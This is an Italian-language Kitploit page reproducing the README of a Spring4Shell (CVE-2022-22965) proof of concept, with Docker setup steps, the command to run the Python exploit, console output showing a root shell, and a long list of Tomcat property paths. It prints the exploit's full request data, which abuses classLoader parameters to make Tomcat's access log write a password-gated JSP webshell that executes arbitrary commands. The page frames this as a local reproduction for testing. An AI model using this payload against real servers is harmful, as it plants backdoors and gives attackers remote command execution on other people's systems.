Spring4Shell-POC — Riproduce la vulnerabilità di esecuzione remota di codice Spring4Shell (CVE-2022-22965) con uno script di exploit in Python, distribuendo una webshell JSP su Apache Tomcat per test e verifica. | Kitploit

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Spring4Shell-POC

Processo di riproduzione locale della vulnerabilità Spring4Shell

Preparazione dell'ambiente

Ambiente docker, docker-compose
Pacchettizzazione con mvn, genera `./target/ROOT.war````shell mvn package

* Avviare il servizio```shell
docker-compose up -d

Ferma il servizio```shell docker-compose down

## Processo di riproduzione

* Esegui lo script```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"

Prima esecuzione

Prima esecuzione

Seconda esecuzione

Seconda esecuzione

Processo di esecuzione``` ➜ spring4shell-poc clear
➜ spring4shell-poc python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" The vulnerability exists, the shell address is :http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami got response: ➜ spring4shell-poc clear ➜ spring4shell-poc python3 spring-4-shell-exp.py --url "" The vulnerability exists, the shell address is : got response: root

* Nel contenitore Docker si può vedere che è stato creato un file jsp nel servizio applicativo Tomcat

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/3c171f1bcbfd46534f345a9aee6089e18ced9569afd208bd7eb33cc882246688.png)


* Il web può anche essere accessibile direttamente

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/5205a0cd1c694bfa02964a130c6a05ded1c1d1f3a2ce4d96b85d74ed863b85fd.png)


## Punti da notare

* I dati in data in spring-4-shell-exp.py```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i 
if ("j".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = in .read(b)) != -1) {
        out.println(new String(b));
    }
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Stampa parametri di configurazione di Tomcat Attraverso il file src/main/webapps/print.jsp, è possibile stampare la configurazione delle proprietà di Tomcat in fase di esecuzione.```text class.classLoader.delegate class.classLoader.clearReferencesRmiTargets class.classLoader.clearReferencesStopThreads class.classLoader.clearReferencesStopTimerThreads class.classLoader.clearReferencesHttpClientKeepAliveThread class.classLoader.clearReferencesObjectStreamClassCaches class.classLoader.clearReferencesThreadLocals class.classLoader.skipMemoryLeakChecksOnJvmShutdown class.classLoader.clearReferencesLogFactoryRelease class.classLoader.defaultAssertionStatus class.classLoader.resources.allowLinking class.classLoader.resources.cachingAllowed class.classLoader.resources.cacheObjectMaxSize class.classLoader.resources.trackLockedFiles class.classLoader.resources.domain class.classLoader.resources.throwOnFailure class.classLoader.resources.context.delegate class.classLoader.resources.context.server class.classLoader.resources.context.useNaming class.classLoader.resources.context.createUploadTargets class.classLoader.resources.context.allowMultipleLeadingForwardSlashInPath class.classLoader.resources.context.requestCharacterEncoding class.classLoader.resources.context.responseCharacterEncoding class.classLoader.resources.context.dispatchersUseEncodedPaths class.classLoader.resources.context.useRelativeRedirects class.classLoader.resources.context.mapperContextRootRedirectEnabled class.classLoader.resources.context.mapperDirectoryRedirectEnabled class.classLoader.resources.context.validateClientProvidedNewSessionId class.classLoader.resources.context.containerSciFilter class.classLoader.resources.context.sendRedirectBody class.classLoader.resources.context.preemptiveAuthentication class.classLoader.resources.context.fireRequestListenersOnForwards class.classLoader.resources.context.addWebinfClassesResources class.classLoader.resources.context.webappVersion class.classLoader.resources.context.resourceOnlyServlets class.classLoader.resources.context.effectiveMajorVersion class.classLoader.resources.context.effectiveMinorVersion class.classLoader.resources.context.logEffectiveWebXml class.classLoader.resources.context.allowCasualMultipartParsing class.classLoader.resources.context.swallowAbortedUploads class.classLoader.resources.context.publicId class.classLoader.resources.context.antiResourceLocking class.classLoader.resources.context.useBloomFilterForArchives class.classLoader.resources.context.parallelAnnotationScanning class.classLoader.resources.context.configured class.classLoader.resources.context.cookies class.classLoader.resources.context.sessionCookieName class.classLoader.resources.context.useHttpOnly class.classLoader.resources.context.sessionCookieDomain class.classLoader.resources.context.sessionCookiePath class.classLoader.resources.context.sessionCookiePathUsesTrailingSlash class.classLoader.resources.context.crossContext class.classLoader.resources.context.defaultContextXml class.classLoader.resources.context.defaultWebXml class.classLoader.resources.context.denyUncoveredHttpMethods class.classLoader.resources.context.altDDName class.classLoader.resources.context.displayName class.classLoader.resources.context.distributable class.classLoader.resources.context.docBase class.classLoader.resources.context.j2EEApplication class.classLoader.resources.context.j2EEServer class.classLoader.resources.context.ignoreAnnotations class.classLoader.resources.context.path class.classLoader.resources.context.originalDocBase class.classLoader.resources.context.privileged class.classLoader.resources.context.reloadable class.classLoader.resources.context.override class.classLoader.resources.context.replaceWelcomeFiles class.classLoader.resources.context.sessionTimeout class.classLoader.resources.context.swallowOutput class.classLoader.resources.context.unpackWAR class.classLoader.resources.context.copyXML class.classLoader.resources.context.wrapperClass class.classLoader.resources.context.jndiExceptionOnFailedWrite class.classLoader.resources.context.charsetMapperClass class.classLoader.resources.context.workDir class.classLoader.resources.context.clearReferencesRmiTargets class.classLoader.resources.context.clearReferencesStopThreads class.classLoader.resources.context.clearReferencesStopTimerThreads class.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread class.classLoader.resources.context.renewThreadsWhenStoppingContext class.classLoader.resources.context.clearReferencesObjectStreamClassCaches class.classLoader.resources.context.clearReferencesThreadLocals class.classLoader.resources.context.skipMemoryLeakChecksOnJvmShutdown class.classLoader.resources.context.xmlNamespaceAware class.classLoader.resources.context.xmlValidation class.classLoader.resources.context.xmlBlockExternal class.classLoader.resources.context.tldValidation class.classLoader.resources.context.name class.classLoader.resources.context.startChildren class.classLoader.resources.context.backgroundProcessorDelay class.classLoader.resources.context.startStopThreads class.classLoader.resources.context.domain class.classLoader.resources.context.throwOnFailure class.classLoader.resources.context.loader.delegate class.classLoader.resources.context.loader.reloadable class.classLoader.resources.context.loader.loaderClass class.classLoader.resources.context.loader.domain class.classLoader.resources.context.loader.throwOnFailure class.classLoader.resources.context.loader.state.declaringClass.module.classLoader.defaultAssertionStatus class.classLoader.resources.context.loader.state.declaringClass.module.classLoader.platformClassLoader.defaultAssertionStatus class.classLoader.resources.context.loader.state.declaringClass.module.classLoader.platformClassLoader.systemClassLoader.defaultAssertionStatus class.classLoader.resources.context.manager.pathname class.classLoader.resources.context.manager.maxActive class.classLoader.resources.context.manager.sessionMaxAliveTime class.classLoader.resources.context.manager.notifyBindingListenerOnUnchangedValue class.classLoader.resources.context.manager.notifyAttributeListenerOnUnchangedValue class.classLoader.resources.context.manager.secureRandomClass class.classLoader.resources.context.manager.secureRandomAlgorithm class.classLoader.resources.context.manager.secureRandomProvider class.classLoader.resources.context.manager.sessionAttributeNameFilter class.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter class.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure class.classLoader.resources.context.manager.processExpiresFrequency class.classLoader.resources.context.manager.persistAuthentication class.classLoader.resources.context.manager.duplicates class.classLoader.resources.context.manager.maxActiveSessions class.classLoader.resources.context.manager.domain class.classLoader.resources.context.manager.throwOnFailure class.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute class.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength class.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass class.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm class.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider class.classLoader.resources.context.manager.sessionIdGenerator.throwOnFailure class.classLoader.resources.context.manager.engine.defaultHost class.classLoader.resources.context.manager.engine.jvmRoute class.classLoader.resources.context.manager.engine.name class.classLoader.resources.context.manager.engine.startChildren class.classLoader.resources.context.manager.engine.backgroundProcessorDelay class.classLoader.resources.context.manager.engine.startStopThreads class.classLoader.resources.context.manager.engine.domain class.classLoader.resources.context.manager.engine.throwOnFailure class.classLoader.resources.context.manager.engine.catalinaHome.writable class.classLoader.resources.context.manager.engine.catalinaHome.readable class.classLoader.resources.context.manager.engine.catalinaHome.executable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.writable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.readable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.executable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.writable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.readable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.executable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.parentFile.writable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.parentFile.readable class.classLoader.resources.context.manager.engine.catalinaHome.parentFile.parentFile.parentFile.executable class.classLoader.resources.context.manager.engine.realm.failureCount class.classLoader.resources.context.manager.engine.realm.lockOutTime class.classLoader.resources.context.manager.engine.realm.cacheSize class.classLoader.resources.context.manager.engine.realm.cacheRemovalWarningTime class.classLoader.resources.context.manager.engine.realm.realmPath class.classLoader.resources.context.manager.engine.realm.transportGuaranteeRedirectStatus class.classLoader.resources.context.manager.engine.realm.allRolesMode class.classLoader.resources.context.manager.engine.realm.validate class.classLoader.resources.context.manager.engine.realm.x509UsernameRetrieverClassName class.classLoader.resources.context.manager.engine.realm.stripRealmForGss class.classLoader.resources.context.manager.engine.realm.domain class.classLoader.resources.context.manager.engine.realm.throwOnFailure class.classLoader.resources.context.manager.engine.realm.credentialHandler.encoding class.classLoader.resources.context.manager.engine.realm.credentialHandler.algorithm class.classLoader.resources.context.manager.engine.realm.credentialHandler.iterations class.classLoader.resources.context.manager.engine.realm.credentialHandler.saltLength class.classLoader.resources.context.manager.engine.realm.credentialHandler.logInvalidStoredCredentials class.classLoader.resources.context.manager.engine.service.name class.classLoader.resources.context.manager.engine.service.domain class.classLoader.resources.context.manager.engine.service.throwOnFailure class.classLoader.resources.context.manager.engine.service.server.portOffset class.classLoader.resources.context.manager.engine.service.server.port class.classLoader.resources.context.manager.engine.service.server.address class.classLoader.resources.context.manager.engine.service.server.shutdown class.classLoader.resources.context.manager.engine.service.server.utilityThreads class.classLoader.resources.context.manager.engine.service.server.utilityThreadsAsDaemon class.classLoader.resources.context.manager.engine.service.server.periodicEventDelay class.classLoader.resources.context.manager.engine.service.server.domain class.classLoader.resources.context.manager.engine.service.server.throwOnFailure class.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain class.classLoader.resources.context.manager.engine.service.server.globalNamingResources.throwOnFailure class.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite class.classLoader.resources.context.manager.engine.service.server.catalina.await class.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook class.classLoader.resources.context.manager.engine.service.server.catalina.configFile class.classLoader.resources.context.manager.engine.service.server.catalina.generateCode class.classLoader.resources.context.manager.engine.service.server.catalina.useGeneratedCode class.classLoader.resources.context.manager.engine.service.server.catalina.generatedCodePackage class.classLoader.resources.context.manager.engine.service.server.catalina.useNaming class.classLoader.resources.context.manager.engine.service.mapper.defaultHostName class.classLoader.resources.context.manager.engine.pipeline.throwOnFailure class.classLoader.resources.context.manager.engine.pipeline.first.asyncSupported class.classLoader.resources.context.manager.engine.pipeline.first.domain class.classLoader.resources.context.manager.engine.pipeline.first.throwOnFailure class.classLoader.resources.context.cookieProcessor.sameSiteCookies class.classLoader.resources.context.authenticator.cache class.classLoader.resources.context.authenticator.allowCorsPreflight class.classLoader.resources.context.authenticator.alwaysUseSession class.classLoader.resources.context.authenticator.disableProxyCaching class.classLoader.resources.context.authenticator.securePagesWithPragma class.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication class.classLoader.resources.context.authenticator.secureRandomClass class.classLoader.resources.context.authenticator.secureRandomAlgorithm class.classLoader.resources.context.authenticator.secureRandomProvider class.classLoader.resources.context.authenticator.jaspicCallbackHandlerClass class.classLoader.resources.context.authenticator.sendAuthInfoResponseHeaders class.classLoader.resources.context.authenticator.asyncSupported class.classLoader.resources.context.authenticator.domain class.classLoader.resources.context.authenticator.throwOnFailure class.classLoader.resources.context.authenticator.next.asyncSupported class.classLoader.resources.context.authenticator.next.domain class.classLoader.resources.context.authenticator.next.throwOnFailure class.classLoader.resources.context.jarScanner.scanClassPath class.classLoader.resources.context.jarScanner.scanManifest class.classLoader.resources.context.jarScanner.scanAllFiles class.classLoader.resources.context.jarScanner.scanAllDirectories class.classLoader.resources.context.jarScanner.scanBootstrapClassPath class.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip class.classLoader.resources.context.jarScanner.jarScanFilter.tldScan class.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan class.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip class.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan class.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan class.classLoader.resources.context.loginConfig.loginPage class.classLoader.resources.context.loginConfig.errorPage class.classLoader.resources.context.loginConfig.authMethod class.classLoader.resources.context.loginConfig.realmName class.classLoader.resources.context.namingResources.domain class.classLoader.resources.context.namingResources.throwOnFailure class.classLoader.resources.context.servletContext.requestCharacterEncoding class.classLoader.resources.context.servletContext.responseCharacterEncoding class.classLoader.resources.context.servletContext.sessionTimeout class.classLoader.resources.context.servletContext.servletNames.class.enclosingMethod.accessible class.classLoader.resources.context.servletContext.sessionCookieConfig.name class.classLoader.resources.context.servletContext.sessionCookieConfig.comment class.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge class.classLoader.resources.context.servletContext.sessionCookieConfig.path class.classLoader.resources.context.servletContext.sessionCookieConfig.secure class.classLoader.resources.context.servletContext.sessionCookieConfig.domain class.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly class.classLoader.resources.context.namingContextListener.name class.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite class.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite class.classLoader.resources.context.parent.name class.classLoader.resources.context.parent.copyXML class.classLoader.resources.context.parent.workDir class.classLoader.resources.context.parent.failCtxIfServletStartFails class.classLoader.resources.context.parent.undeployOldVersions class.classLoader.resources.context.parent.appBase class.classLoader.resources.context.parent.xmlBase class.classLoader.resources.context.parent.createDirs class.classLoader.resources.context.parent.autoDeploy class.classLoader.resources.context.parent.configClass class.classLoader.resources.context.parent.contextClass class.classLoader.resources.context.parent.deployOnStartup class.classLoader.resources.context.parent.deployXML class.classLoader.resources.context.parent.errorReportValveClass class.classLoader.resources.context.parent.unpackWARs class.classLoader.resources.context.parent.deployIgnore class.classLoader.resources.context.parent.startChildren class.classLoader.resources.context.parent.backgroundProcessorDelay class.classLoader.resources.context.parent.startStopThreads class.classLoader.resources.context.parent.domain class.classLoader.resources.context.parent.throwOnFailure class.classLoader.resources.context.parent.appBaseFile.writable class.classLoader.resources.context.parent.appBaseFile.readable class.classLoader.resources.context.parent.appBaseFile.executable class.classLoader.resources.context.parent.configBaseFile.writable class.classLoader.resources.context.parent.configBaseFile.readable class.classLoader.resources.context.parent.configBaseFile.executable class.classLoader.resources.context.parent.configBaseFile.parentFile.writable class.classLoader.resources.context.parent.configBaseFile.parentFile.readable class.classLoader.resources.context.parent.configBaseFile.parentFile.executable class.classLoader.resources.context.parent.configBaseFile.parentFile.parentFile.writable class.classLoader.resources.context.parent.configBaseFile.parentFile.parentFile.readable class.classLoader.resources.context.parent.configBaseFile.parentFile.parentFile.executable class.classLoader.resources.context.parent.pipeline.throwOnFailure class.classLoader.resources.context.parent.pipeline.first.encoding class.classLoader.resources.context.parent.pipeline.first.prefix class.classLoader.resources.context.parent.pipeline.first.maxDays class.classLoader.resources.context.parent.pipeline.first.directory class.classLoader.resources.context.parent.pipeline.first.checkExists class.classLoader.resources.context.parent.pipeline.first.rotatable class.classLoader.resources.context.parent.pipeline.first.renameOnRotate class.classLoader.resources.context.parent.pipeline.first.buffered class.classLoader.resources.context.parent.pipeline.first.suffix class.classLoader.resources.context.parent.pipeline.first.fileDateFormat class.classLoader.resources.context.parent.pipeline.first.locale class.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled class.classLoader.resources.context.parent.pipeline.first.enabled class.classLoader.resources.context.parent.pipeline.first.maxLogMessageBufferSize class.classLoader.resources.context.parent.pipeline.first.ipv6Canonical class.classLoader.resources.context.parent.pipeline.first.pattern class.classLoader.resources.context.parent.pipeline.first.condition class.classLoader.resources.context.parent.pipeline.first.conditionUnless class.classLoader.resources.context.parent.pipeline.first.conditionIf class.classLoader.resources.context.parent.pipeline.first.asyncSupported class.classLoader.resources.context.parent.pipeline.first.domain class.classLoader.resources.context.parent.pipeline.first.throwOnFailure class.classLoader.resources.context.parent.pipeline.first.next.showReport class.classLoader.resources.context.parent.pipeline.first.next.showServerInfo class.classLoader.resources.context.parent.pipeline.first.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.domain class.classLoader.resources.context.parent.pipeline.first.next.throwOnFailure class.classLoader.resources.context.parent.pipeline.first.next.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.next.domain class.classLoader.resources.context.parent.pipeline.first.next.next.throwOnFailure class.classLoader.resources.context.parent.accessLog.requestAttributesEnabled class.classLoader.resources.context.pipeline.throwOnFailure

### Riferimenti

* https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities
* https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
* https://github.com/liudonghua123/spring-core-rce